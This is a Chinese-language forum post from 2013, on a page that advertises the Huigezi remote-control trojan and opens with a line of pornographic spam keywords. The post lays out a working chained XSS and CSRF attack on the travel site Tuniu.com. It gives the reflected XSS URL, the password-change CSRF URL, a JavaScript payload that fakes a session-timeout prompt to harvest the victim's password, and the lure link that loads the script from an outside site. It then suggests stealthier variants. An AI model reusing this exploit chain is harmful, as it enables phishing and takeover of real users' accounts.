久久精品中文字幕,狠狠色丁香婷婷综合,精品国产制服丝袜高跟,国内精品久久久久久久久齐齐 ,国模冰莲极品自慰人体

灰鴿子遠(yuǎn)程控制軟件

標(biāo)題: 途牛網(wǎng)XSS+CSRF釣魚式重置用戶密碼灰鴿子下載www.huigezi.org [打印本頁]

作者: admin 時(shí)間: 2013-1-28 00:31
標(biāo)題: 途牛網(wǎng)XSS+CSRF釣魚式重置用戶密碼灰鴿子下載www.huigezi.org
記得某次面試時(shí)候說起這個(gè)利用，但是面試官覺得不可行。我覺得居然用戶能被Ｘ也應(yīng)該有可能被釣，還是有可行性的。
(, 下載次數(shù): 473) 途牛網(wǎng)XSS+CSRF釣魚式重置用戶密碼灰鴿子下載www.huigezi.org
1.某處XSS：http://m.tuniu.com/?action=route ... mp;pdate=<ScRiPt >prompt(/xss/)</ScRiPt>&todo=index

2.修改密碼處CSRF：http://www.tuniu.com/main.php?do=user_do_change_password&old=123456&new=password&pwd_s=1

3.創(chuàng)建外部JS：
(, 下載次數(shù): 497)
var pass;
pass=prompt("登陸超時(shí)，請(qǐng)重新輸入您的密碼","password");
url="http://www.tuniu.com/main.php?do=user_do_change_password&new=password&pwd_s=1&old="+pass;
window.location=url;

4.誘使用戶訪問
http://m.tuniu.com/?action=route&id=329846&pdate=<ScRiPt/src=//www.your-site.com/1.js></ScRiPt>&todo=index
若用戶輸入其正確密碼，JS內(nèi)CSRF將會(huì)將其密碼重置。

1表示重置成功，0表示重置失敗。

感覺還可以結(jié)合一些XSSbypass。
使用其他window彈窗使用戶輸入密碼密文*。
location跳轉(zhuǎn)也可以改得成其他靜默發(fā)送？

作者: q924829024 時(shí)間: 2013-1-30 18:05
111111111111

作者: q924829024 時(shí)間: 2013-1-30 18:06

333333333333

作者: zad698 時(shí)間: 2013-2-1 14:40
聽起來很給力啊

歡迎光臨灰鴿子遠(yuǎn)程控制軟件 (http://www.wzgoogletg.cn/)